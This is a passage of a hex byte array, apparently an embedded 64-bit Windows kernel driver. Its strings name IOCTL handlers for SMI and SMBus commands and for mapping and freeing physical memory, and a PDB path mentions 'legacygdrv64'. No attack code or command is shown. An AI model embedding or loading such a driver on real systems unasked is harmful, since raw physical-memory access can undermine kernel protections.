0xCC, - 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x43, 0x68, 0x6B, 0x43, - 0x50, 0x55, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x43, 0x50, 0x55, 0x54, 0x65, 0x6D, 0x70, 0x50, - 0x77, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, - 0x63, 0x74, 0x6C, 0x53, 0x4D, 0x49, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x73, - 0x69, 0x7A, 0x65, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x74, 0x63, - 0x68, 0x20, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x2E, 0x39, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, - 0x2E, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x61, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, - 0x78, 0x74, 0x5F, 0x64, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x64, - 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x70, 0x3D, 0x20, - 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x34, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x6F, 0x72, 0x67, 0x5F, 0x61, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x6F, - 0x72, 0x67, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x56, 0x61, 0x6C, 0x69, 0x64, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x50, 0x61, - 0x67, 0x65, 0x41, 0x64, 0x64, 0x72, 0x2D, 0x3E, 0x64, 0x77, 0x48, 0x61, - 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x56, 0x41, 0x3D, 0x25, 0x78, 0x2C, 0x73, - 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0x50, 0x68, 0x79, 0x73, - 0x69, 0x63, 0x61, 0x6C, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, - 0x3D, 0x25, 0x78, 0x2C, 0x64, 0x77, 0x4C, 0x69, 0x6E, 0x73, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x44, 0x65, 0x73, 0x74, 0x3D, 0x25, 0x78, 0x2C, - 0x53, 0x72, 0x63, 0x3D, 0x25, 0x78, 0x2C, 0x73, 0x69, 0x7A, 0x65, 0x3D, - 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x53, 0x69, 0x7A, - 0x65, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x28, 0x46, 0x52, 0x45, - 0x45, 0x5F, 0x50, 0x48, 0x59, 0x53, 0x5F, 0x4D, 0x45, 0x4D, 0x29, 0x20, - 0x49, 0x6E, 0x73, 0x75, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6E, 0x74, - 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x6F, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x56, 0x41, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, - 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3D, 0x25, 0x78, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x53, 0x69, 0x7A, 0x65, - 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, - 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x72, 0x5B, 0x30, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x31, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x32, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x33, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x34, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x35, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x52, 0x65, 0x74, 0x20, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x30, 0x78, - 0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x80, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0x54, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, - 0xC8, 0x42, 0x00, 0x00, 0xC8, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x40, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, - 0x9F, 0x44, 0x71, 0x4D, 0x09, 0x1A, 0x30, 0x4A, 0xAA, 0xCC, 0x36, 0x6B, - 0x14, 0x01, 0x90, 0x11, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55, - 0x73, 0x65, 0x72, 0x73, 0x5C, 0x67, 0x65, 0x6F, 0x72, 0x67, 0x65, 0x5C, - 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x5C, 0x76, 0x69, - 0x73, 0x75, 0x61, 0x6C, 0x20, 0x73, 0x74, 0x75, 0x64, 0x69, 0x6F, 0x20, - 0x32, 0x30, 0x31, 0x35, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, - 0x73, 0x5C, 0x6C, 0x65, 0x67, 0x61, 0x63, 0x79, 0x67, 0x64, 0x72, 0x76, - 0x36, 0x34, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, - 0x73, 0x65, 0x5C, 0x67, 0x64, 0x72, 0x76, 0x36, 0x34, 0x2E, 0x70, 0x64, - 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, - 0x50, 0x12, 0x00, 0x00, 0xD0, 0x1C, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, - 0xE0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, - 0x24, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, - 0x40, 0x34, 0x00, 0x00, 0x4F, 0x06, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x73, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, - 0xF8, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, - 0x66, 0x67, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0xFC, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, - 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x50, 0x44, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x20, 0x50, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, - 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, - 0xEC, 0x01, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x70, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, - 0x64, 0x73, 0x24, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x80, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x81, 0x00, 0x00, 0x84, 0x02, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xE8, 0x02, 0x00, 0x00, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x0F, 0x00, - 0x0F, 0x34, 0x0E, 0x00, 0x0F, 0xB2, 0x0B, 0x70, 0x02, 0x1D, 0x0E, 0x00, - 0x07, 0x06, 0x62, 0x16, 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, - 0x1D, 0x54, 0x0B, 0x00, 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, - 0x17, 0xE0, 0x15, 0xC0, 0x02, 0x10, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, - 0x10, 0x34, 0x0B, 0x00, 0x10, 0x32, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, - 0x07, 0x60, 0x06, 0x50, 0x02, 0x12, 0x0A, 0x00, 0x05, 0x16, 0x00, 0x06, - 0x12, 0x54, 0x0B, 0x00, 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0E, 0xE0, - 0x0C, 0x70, 0x0B, 0x60, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, 0x02, 0x0A, 0x06, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, - 0x02, 0x14, 0x0A, 0x00, 0x02, 0x16, 0x00, 0x06, 0x14, 0x64, 0x08, 0x00, - 0x14, 0x54, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, - 0x02, 0x1F, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, 0x1F, 0x74, 0x21, 0x00, - 0x1F, 0x64, 0x20, 0x00, 0x1F, 0x34, 0x1E, 0x00, 0x1F, 0x01, 0x1A, 0x00, - 0x14, 0xF0, 0x12, 0xE0, 0x10, 0x50, 0x00, 0x00, 0x1A, 0x27, 0x0C, 0x00, - 0x09, 0x16, 0x00, 0x06, 0x19, 0x64, 0x15, 0x00, 0x19, 0x34, 0x14, 0x00, - 0x19, 0xB2, 0x12, 0xF0, 0x10, 0xE0, 0x0E, 0xC0, 0x0C, 0x70, 0x0B, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x23, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x15, 0x64, 0x13, 0x00, 0x15, 0x34, 0x12, 0x00, - 0x15, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x1A, 0x1D, 0x08, 0x00, 0x04, 0x16, 0x00, 0x06, - 0x0F, 0x34, 0x12, 0x00, 0x0F, 0xB2, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x20, 0x08, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x12, 0x74, 0x11, 0x00, 0x12, 0x34, 0x10, 0x00, - 0x12, 0xB2, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, - 0x1A, 0x21, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, 0x13, 0x34, 0x14, 0x00, - 0x13, 0xB2, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x21, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x12, 0x54, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, - 0x12, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x60, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, - 0x04, 0x42, 0x00, 0x00, 0x02, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, - 0x15, 0x74, 0x08, 0x00, 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, - 0x15, 0x32, 0x11, 0xE0, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0F, 0x64, 0x09, 0x00, 0x0F, 0x34, 0x08, 0x00, 0x0F, 0x52, 0x0B, 0x70, - 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06, 0x06, 0x32, 0x02, 0x30, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x07, 0x00, - 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x19, 0x0C, 0x00, - 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x09, 0x00, 0x19, 